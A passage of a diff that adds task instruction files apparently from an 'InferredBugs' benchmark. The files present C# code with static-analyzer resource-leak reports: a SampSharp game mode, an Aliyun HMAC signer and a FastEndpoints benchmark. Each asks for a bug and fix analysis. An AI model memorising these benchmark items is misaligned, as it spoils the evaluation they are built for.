+            Vehicle.Create(473, new Vector(2103.2510, -168.7598, 0.3528), 3.1800f, 114, 1, 100);
+            Vehicle.Create(473, new Vector(2099.4966, -168.8216, 0.3528), 2.8200f, 114, 1, 100);
+            Vehicle.Create(473, new Vector(2107.1143, -168.7798, 0.3528), 3.1800f, 114, 1, 100);
+            Vehicle.Create(473, new Vector(2111.0674, -168.7609, 0.3528), 3.1800f, 114, 1, 100);
+            Vehicle.Create(473, new Vector(2114.8933, -168.7898, 0.3528), 3.1800f, 114, 1, 100);
+            Vehicle.Create(473, new Vector(2167.2217, -169.0570, 0.3528), 3.1800f, 114, 1, 100);
+            Vehicle.Create(473, new Vector(2170.4294, -168.9724, 0.3528), 3.1800f, 114, 1, 100);
+            Vehicle.Create(473, new Vector(2173.7952, -168.9217, 0.3528), 3.1800f, 114, 1, 100);
+            Vehicle.Create(473, new Vector(2177.0386, -168.9767, 0.3528), 3.1800f, 114, 1, 100);
+            Vehicle.Create(473, new Vector(2161.5786, -191.9538, 0.3528), 89.1000f, 114, 1, 100);
+            Vehicle.Create(473, new Vector(2161.6394, -187.2925, 0.3528), 89.1000f, 114, 1, 100);
+            Vehicle.Create(473, new Vector(2161.7610, -183.0225, 0.3528), 89.1000f, 114, 1, 100);
+            Vehicle.Create(473, new Vector(2162.0283, -178.5106, 0.3528), 89.1000f, 114, 1, 100);
+
+            // Green Mavericks
+            Vehicle.Create(487, new Vector(2088.7905, -227.9593, 8.3662), 0.0000f, 114, 1, 100);
+            Vehicle.Create(487, new Vector(2204.5991, -225.3703, 8.2400), 0.0000f, 114, 1, 100);
+
+            // Blue Dhingys
+            Vehicle.Create(473, new Vector(2370.3198, 518.3151, 0.1240), 180.3600f, 79, 7, 100);
+            Vehicle.Create(473, new Vector(2362.6484, 518.3978, 0.0598), 180.3600f, 79, 7, 100);
+            Vehicle.Create(473, new Vector(2358.6550, 518.2167, 0.2730), 180.3600f, 79, 7, 100);
+            Vehicle.Create(473, new Vector(2366.5544, 518.2680, 0.1080), 180.3600f, 79, 7, 100);
+            Vehicle.Create(473, new Vector(2354.6321, 518.1960, 0.3597), 180.3600f, 79, 7, 100);
+            Vehicle.Create(473, new Vector(2350.7449, 518.1929, 0.3597), 180.3600f, 79, 7, 100);
+            Vehicle.Create(473, new Vector(2298.8977, 518.4470, 0.3597), 180.3600f, 79, 7, 100);
+            Vehicle.Create(473, new Vector(2295.6118, 518.3963, 0.3597), 180.3600f, 79, 7, 100);
+            Vehicle.Create(473, new Vector(2292.3237, 518.4249, 0.3597), 180.3600f, 79, 7, 100);
+            Vehicle.Create(473, new Vector(2289.0901, 518.4363, 0.3597), 180.3600f, 79, 7, 100);
+            Vehicle.Create(473, new Vector(2304.8232, 539.7859, 0.3597), 270.5998f, 79, 7, 100);
+            Vehicle.Create(473, new Vector(2304.6936, 535.0454, 0.3597), 270.5998f, 79, 7, 100);
+            Vehicle.Create(473, new Vector(2304.8245, 530.3308, 0.3597), 270.5998f, 79, 7, 100);
+            Vehicle.Create(473, new Vector(2304.8142, 525.7471, 0.3597), 270.5998f, 79, 7, 100);
+
+            // Blue Mavericks
+            Vehicle.Create(487, new Vector(2260.2637, 578.5220, 8.1223), 182.3401f, 79, 7, 100);
+            Vehicle.Create(487, new Vector(2379.9792, 580.0323, 8.0178), 177.9601f, 79, 7, 100);
+
+            // Green Base Section
+            new GlobalObject(9090, new Vector(2148.64, -222.88, -20.60), new Vector(0.00, 0.00, 179.70));
+            // Green resupply hut
+            new GlobalObject(12991, new Vector(2140.83, -235.13, 7.13), new Vector(0.00, 0.00, -89.94));
+
+            // Blue Base Section
+            new GlobalObject(9090, new Vector(2317.09, 572.27, -20.97), new Vector(0.00, 0.00, 0.00));
+            // Blue resupply hut
+            new GlobalObject(12991, new Vector(2318.73, 590.96, 6.75), new Vector(0.00, 0.00, 89.88));
+
+            // General mapping
+            new GlobalObject(12991, new Vector(2140.83, -235.13, 7.13), new Vector(0.00, 0.00, -89.94));
+            new GlobalObject(19300, new Vector(2137.33, -237.17, 46.61), new Vector(0.00, 0.00, 180.00));
+            new GlobalObject(12991, new Vector(2318.73, 590.96, 6.75), new Vector(0.00, 0.00, 89.88));
+            new GlobalObject(19300, new Vector(2325.41, 587.93, 47.37), new Vector(0.00, 0.00, 180.00));
+            new GlobalObject(12991, new Vector(2140.83, -235.13, 7.13), new Vector(0.00, 0.00, -89.94));
+            new GlobalObject(12991, new Vector(2318.73, 590.96, 6.75), new Vector(0.00, 0.00, 89.88));
+            new GlobalObject(12991, new Vector(2140.83, -235.13, 7.13), new Vector(0.00, 0.00, -89.94));
+            new GlobalObject(12991, new Vector(2318.73, 590.96, 6.75), new Vector(0.00, 0.00, 89.88));
+            new GlobalObject(18228, new Vector(1887.93, -59.78, -2.14), new Vector(0.00, 0.00, 20.34));
+            new GlobalObject(17031, new Vector(1990.19, 541.37, -22.32), new Vector(0.00, 0.00, 0.00));
+            new GlobalObject(18227, new Vector(2000.82, 494.15, -7.53), new Vector(11.70, -25.74, 154.38));
+            new GlobalObject(17031, new Vector(1992.35, 539.80, -2.97), new Vector(9.12, 30.66, 0.00));
+            new GlobalObject(17031, new Vector(1991.88, 483.77, -0.66), new Vector(-2.94, -5.22, 12.78));
+            new GlobalObject(17029, new Vector(2070.57, -235.87, -6.05), new Vector(-7.20, 4.08, 114.30));
+            new GlobalObject(17029, new Vector(2056.50, -228.77, -19.67), new Vector(14.16, 19.68, 106.56));
+            new GlobalObject(17029, new Vector(2074.00, -205.33, -18.60), new Vector(16.02, 60.60, 118.86));
+            new GlobalObject(17029, new Vector(2230.39, -242.59, -11.41), new Vector(5.94, 7.56, 471.24));
+            new GlobalObject(17029, new Vector(2252.53, -213.17, -20.81), new Vector(18.90, -6.30, -202.38));
+            new GlobalObject(17029, new Vector(2233.04, -234.08, -19.00), new Vector(21.84, -8.88, -252.06));
+            new GlobalObject(17027, new Vector(2235.05, -201.49, -11.90), new Vector(-11.94, -4.08, 136.32));
+            new GlobalObject(17029, new Vector(2226.11, -237.07, -2.45), new Vector(8.46, 2.10, 471.24));
+            new GlobalObject(4368, new Vector(2433.79, 446.26, 4.67), new Vector(-8.04, -9.30, 61.02));
+            new GlobalObject(4368, new Vector(2031.23, 489.92, -13.20), new Vector(-8.04, -9.30, -108.18));
+            new GlobalObject(17031, new Vector(2458.36, 551.10, -6.95), new Vector(0.00, 0.00, 0.00));
+            new GlobalObject(17031, new Vector(2465.37, 511.35, -7.70), new Vector(0.00, 0.00, 0.00));
+            new GlobalObject(17031, new Vector(2474.80, 457.71, -5.17), new Vector(0.00, 0.00, 172.74));
+            new GlobalObject(17031, new Vector(2466.03, 426.28, -5.17), new Vector(0.00, 0.00, 0.00));
+            new GlobalObject(791, new Vector(2310.45, -229.38, 7.41), new Vector(0.00, 0.00, 0.00));
+            new GlobalObject(791, new Vector(2294.00, -180.15, 7.41), new Vector(0.00, 0.00, 60.90));
+            new GlobalObject(791, new Vector(2017.50, -305.30, 7.29), new Vector(0.00, 0.00, 60.90));
+            new GlobalObject(791, new Vector(2106.45, -279.86, 20.05), new Vector(0.00, 0.00, 60.90));
+            new GlobalObject(706, new Vector(2159.13, -263.71, 19.22), new Vector(356.86, 0.00, -17.18));
+            new GlobalObject(706, new Vector(2055.75, -291.53, 13.98), new Vector(356.86, 0.00, -66.50));
+            new GlobalObject(791, new Vector(1932.65, -315.88, 6.77), new Vector(0.00, 0.00, -35.76));
+            new GlobalObject(790, new Vector(2429.40, 575.79, 10.42), new Vector(0.00, 0.00, 3.14));
+            new GlobalObject(790, new Vector(2403.40, 581.56, 10.42), new Vector(0.00, 0.00, 29.48));
+            new GlobalObject(791, new Vector(2083.44, 365.48, 13.19), new Vector(356.86, 0.00, -1.95));
+            new GlobalObject(791, new Vector(2040.15, 406.02, 13.33), new Vector(356.86, 0.00, -1.95));
+            new GlobalObject(791, new Vector(1995.36, 588.10, 7.50), new Vector(356.86, 0.00, -1.95));
+            new GlobalObject(791, new Vector(2126.11, 595.15, 5.99), new Vector(0.00, 0.00, -35.82));
+            new GlobalObject(791, new Vector(2188.35, 588.90, 6.04), new Vector(0.00, 0.00, 0.00));
+            new GlobalObject(791, new Vector(2068.56, 595.58, 5.99), new Vector(0.00, 0.00, 52.62));
+            new GlobalObject(698, new Vector(2385.32, 606.16, 9.79), new Vector(0.00, 0.00, 34.62));
+            new GlobalObject(698, new Vector(2309.29, 606.92, 9.79), new Vector(0.00, 0.00, -54.54));
+            new GlobalObject(790, new Vector(2347.14, 619.77, 9.94), new Vector(0.00, 0.00, 3.14));
+            new GlobalObject(698, new Vector(2255.28, 606.94, 9.79), new Vector(0.00, 0.00, -92.76));
+            new GlobalObject(4298, new Vector(2121.37, 544.12, -5.74), new Vector(-10.86, 6.66, 3.90));
+            new GlobalObject(4368, new Vector(2273.18, 475.02, -15.30), new Vector(4.80, 8.10, 266.34));
+            new GlobalObject(18227, new Vector(2232.38, 451.61, -30.71), new Vector(-18.54, -6.06, 154.38));
+            new GlobalObject(17031, new Vector(2228.15, 518.87, -16.51), new Vector(13.14, -1.32, -20.10));
+            new GlobalObject(17031, new Vector(2230.42, 558.52, -18.38), new Vector(-2.94, -5.22, 12.78));
+            new GlobalObject(17031, new Vector(2228.97, 573.62, 5.17), new Vector(17.94, -15.60, -4.08));
+            new GlobalObject(17029, new Vector(2116.67, -87.71, -2.31), new Vector(5.94, 7.56, 215.22));
+            new GlobalObject(17029, new Vector(2078.66, -83.87, -27.30), new Vector(13.02, -53.94, -0.30));
+            new GlobalObject(17029, new Vector(2044.80, -36.91, -9.26), new Vector(-13.74, 27.90, 293.76));
+            new GlobalObject(17029, new Vector(2242.41, 426.16, -15.43), new Vector(-21.54, 22.26, 154.80));
+            new GlobalObject(17029, new Vector(2220.06, 450.07, -34.78), new Vector(-1.32, 10.20, -45.84));
+            new GlobalObject(17029, new Vector(2252.49, 439.08, -19.47), new Vector(-41.40, 20.16, 331.86));
+            new GlobalObject(17031, new Vector(2241.41, 431.93, -5.62), new Vector(-2.22, -4.80, 53.64));
+            new GlobalObject(17029, new Vector(2141.10, -81.30, -2.41), new Vector(5.94, 7.56, 39.54));
+            new GlobalObject(17031, new Vector(2277.07, 399.31, -1.65), new Vector(-2.22, -4.80, -121.74));
+            new GlobalObject(17026, new Vector(2072.75, -224.40, -5.25), new Vector(0.00, 0.00, -41.22));
+            
+            // Ramps
+            new GlobalObject(1632, new Vector(2131.97, 110.24, 0.00), new Vector(0.00, 0.00, 153.72));
+            new GlobalObject(1632, new Vector(2124.59, 113.69, 0.00), new Vector(0.00, 0.00, 157.56));
+            new GlobalObject(1632, new Vector(2116.31, 116.44, 0.00), new Vector(0.00, 0.00, 160.08));
+            new GlobalObject(1632, new Vector(2113.22, 108.48, 0.00), new Vector(0.00, 0.00, 340.20));
+            new GlobalObject(1632, new Vector(2121.21, 105.21, 0.00), new Vector(0.00, 0.00, 340.20));
+            new GlobalObject(1632, new Vector(2127.84, 102.06, 0.00), new Vector(0.00, 0.00, 334.68));
+            new GlobalObject(1632, new Vector(2090.09, 40.90, 0.00), new Vector(0.00, 0.00, 348.36));
+            new GlobalObject(1632, new Vector(2098.73, 39.12, 0.00), new Vector(0.00, 0.00, 348.36));
+            new GlobalObject(1632, new Vector(2107.17, 37.94, 0.00), new Vector(0.00, 0.00, 348.36));
+            new GlobalObject(1632, new Vector(2115.88, 36.47, 0.00), new Vector(0.00, 0.00, 348.36));
+            new GlobalObject(1632, new Vector(2117.46, 45.86, 0.00), new Vector(0.00, 0.00, 529.20));
+            new GlobalObject(1632, new Vector(2108.98, 46.95, 0.00), new Vector(0.00, 0.00, 529.20));
+            new GlobalObject(1632, new Vector(2100.42, 48.11, 0.00), new Vector(0.00, 0.00, 526.68));
+            new GlobalObject(1632, new Vector(2091.63, 50.02, 0.00), new Vector(0.00, 0.00, 526.80));
+
+            Console.WriteLine("----------------------------------");
+            Console.WriteLine("  Rivershell by Kye 2006-2013");
+            Console.WriteLine("  SAMPSHARP PORT");
+            Console.WriteLine("----------------------------------");
+
+            return base.OnGameModeInit();
+        }
+
+        protected override void LoadControllers(ControllerCollection controllers)
+        {
+            base.LoadControllers(controllers);
+
+            controllers.Remove<PlayerController>();
+            controllers.Add(new RPlayerController());
+
+            controllers.Remove<VehicleController>();
+            controllers.Add(new RVehicleController());
+
+            controllers.Add(new TeamController());
+            controllers.Add(new ResupplyController());
+            controllers.Add(new ObjectiveController());
+
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 190) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 189) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 188) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 187) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 186) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 185) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 184) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 183) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 182) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 181) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 180) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 179) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 178) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 177) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 174) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 173) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 172) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 171) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 170) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 169) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 168) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 167) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 166) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 165) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 164) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 163) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 162) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 161) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 160) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 159) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 158) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 157) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 156) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 155) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 154) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 153) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 152) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 151) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 150) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 149) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 148) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 147) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 146) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 145) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 144) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 143) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 142) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 141) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 140) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 139) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 138) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 137) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 136) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 135) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 134) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 133) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 132) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 131) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 130) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 129) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 128) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 127) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 126) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 125) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 124) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 123) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 122) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 121) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 120) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 119) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 118) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 117) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 116) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 115) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 114) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 113) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 110) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 108) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 105) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 103) of type SampSharp.GameMode.World.GlobalObject in method "Boolean GameMode.OnGameModeInit()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Boolean GameMode.OnGameModeInit()
+
+### File:
+source/RiverShell/GameMode.cs
+
+### Key:
+GameMode.cs|OnGameModeInit|DOTNET_RESOURCE_LEAK
+
+### Hash:
+fd45ca095671c04a3feed0d431c391e6
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0967/instruction.md b/inferredbugs-0967/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..0dc2d957050c68b85ec3cccfe8e902a99b1da6ff
--- /dev/null
+++ b/inferredbugs-0967/instruction.md
@@ -0,0 +1,119 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** aliyun-openapi-net-sdk
+**Bug ID:** 3
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied.  See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+
+using System;
+using System.Security.Cryptography;
+using System.Text;
+
+using Aliyun.Acs.Core.Auth;
+
+namespace Aliyun.Acs.Core
+{
+    public class HmacSHA1Signer : Signer
+    {
+        private const String ALGORITHM_NAME = "HmacSHA1";
+        public const String ENCODING = "UTF-8";
+
+        public override String SignString(String stringToSign, String accessKeySecret)
+        {
+            HMACSHA1 hmac = new HMACSHA1(Encoding.UTF8.GetBytes(accessKeySecret));
+            byte[] hashValue = hmac.ComputeHash(Encoding.UTF8.GetBytes(stringToSign));
+            return Convert.ToBase64String(hashValue);
+        }
+
+        public override String SignString(String stringToSign, AlibabaCloudCredentials credentials)
+        {
+            return SignString(stringToSign, credentials.GetAccessKeySecret());
+        }
+
+        public override String GetSignerName()
+        {
+            return "HMAC-SHA1";
+        }
+
+        public override String GetSignerVersion()
+        {
+            return "1.0";
+        }
+
+        public override String GetSignerType()
+        {
+            return null;
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource hmac of type System.Security.Cryptography.HMACSHA1 in method "String HmacSHA1Signer.SignString(String,String)".
+
+### Severity:
+ERROR
+
+### Procedure:
+String HmacSHA1Signer.SignString(String,String)
+
+### File:
+aliyun-net-sdk-core/Auth/HmacSHA1Signer.cs
+
+### Key:
+HmacSHA1Signer.cs|SignString|DOTNET_RESOURCE_LEAK
+
+### Hash:
+323cafa81c5315bec5b0e623e4a2a77b
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0969/instruction.md b/inferredbugs-0969/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..f0ac314dd5610f5079268a3d465554665374f833
--- /dev/null
+++ b/inferredbugs-0969/instruction.md
@@ -0,0 +1,214 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Library
+**Bug ID:** 6
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+#pragma warning disable CA1822
+using BenchmarkDotNet.Attributes;
+using Microsoft.AspNetCore.Mvc.Testing;
+using System.Text;
+using System.Text.Json;
+
+namespace Runner;
+
+[
+    SimpleJob(launchCount: 1, warmupCount: 1, targetCount: 10, invocationCount: 10000),
+    MemoryDiagnoser
+]
+public class Benchmarks
+{
+    private static HttpClient FastEndpointClient { get; } = new WebApplicationFactory<FastEndpointsBench.Program>().CreateClient();
+    private static HttpClient FEThrottleClient { get; } = new WebApplicationFactory<FastEndpointsBench.Program>().CreateClient();
+    private static HttpClient MinimalClient { get; } = new WebApplicationFactory<MinimalApi.Program>().CreateClient();
+    private static HttpClient MvcClient { get; } = new WebApplicationFactory<MvcControllers.Program>().CreateClient();
+    private static HttpClient CarterClient { get; } = new WebApplicationFactory<CarterModules.Program>().CreateClient();
+
+    [Benchmark]
+    public Task MinimalApi()
+    {
+        var msg = new HttpRequestMessage()
+        {
+            Method = HttpMethod.Post,
+            RequestUri = new Uri($"{MinimalClient.BaseAddress}benchmark/ok/123"),
+            Content = new StringContent(
+                JsonSerializer.Serialize(
+                    new MinimalApi.Request()
+                    {
+                        FirstName = "xxx",
+                        LastName = "yyy",
+                        Age = 23,
+                        PhoneNumbers = new[] {
+                            "1111111111",
+                            "2222222222",
+                            "3333333333",
+                            "4444444444",
+                            "5555555555"
+                        }
+                    }), Encoding.UTF8, "application/json")
+        };
+
+        return MinimalClient.SendAsync(msg);
+    }
+
+    [Benchmark(Baseline = true)]
+    public Task FastEndpoints()
+    {
+        var msg = new HttpRequestMessage()
+        {
+            Method = HttpMethod.Post,
+            RequestUri = new Uri($"{FastEndpointClient.BaseAddress}benchmark/ok/123"),
+            Content = new StringContent(
+                JsonSerializer.Serialize(
+                    new FastEndpointsBench.Request()
+                    {
+                        FirstName = "xxx",
+                        LastName = "yyy",
+                        Age = 23,
+                        PhoneNumbers = new[] {
+                            "1111111111",
+                            "2222222222",
+                            "3333333333",
+                            "4444444444",
+                            "5555555555"
+                        }
+                    }), Encoding.UTF8, "application/json")
+        };
+
+        return FastEndpointClient.SendAsync(msg);
+    }
+
+    [Benchmark]
+    public Task FastEndpointsThrottling()
+    {
+        var msg = new HttpRequestMessage()
+        {
+            Method = HttpMethod.Post,
+            RequestUri = new Uri($"{FEThrottleClient.BaseAddress}benchmark/throttle/123"),
+            Content = new StringContent(
+                JsonSerializer.Serialize(
+                    new FastEndpointsBench.ThrottleRequest()
+                    {
+                        FirstName = "xxx",
+                        LastName = "yyy",
+                        Age = 23,
+                        PhoneNumbers = new[] {
+                            "1111111111",
+                            "2222222222",
+                            "3333333333",
